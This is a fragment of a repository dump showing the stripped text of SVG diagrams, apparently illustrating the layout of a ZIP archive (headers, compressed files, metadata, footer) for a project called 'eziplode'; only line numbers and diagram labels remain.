mid-metadatafor file1 209 | small mid-metadatafor file1 229 | small mid-metadatafor file2 249 | mid-metadatafor file2 269 | 274 | Footer 286 | 292 | 300 | 305 | 311 | 317 | 318 | 319 | -------------------------------------------------------------------------------- /art/eziplode_02zipfile.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 18 | 20 | 27 | 32 | 33 | 40 | 45 | 46 | 53 | 58 | 59 | 66 | 71 | 72 | 73 | 92 | 94 | 95 | 97 | image/svg+xml 98 | 100 | 101 | 102 | 103 | 104 | 108 | 113 | 118 | Header 1 130 | 139 | 1st CompressedFile 155 | 160 | 165 | Header 2 177 | 2nd CompressedFile 193 | 208 | 213 | 218 | 223 | mid-metadatafor file1 243 | small mid-metadatafor file1 263 | small mid-metadatafor file2 283 | mid-metadatafor file2 303 | 308 | Footer 320 | 321 | 322 | --------------------------------------------------------------------------------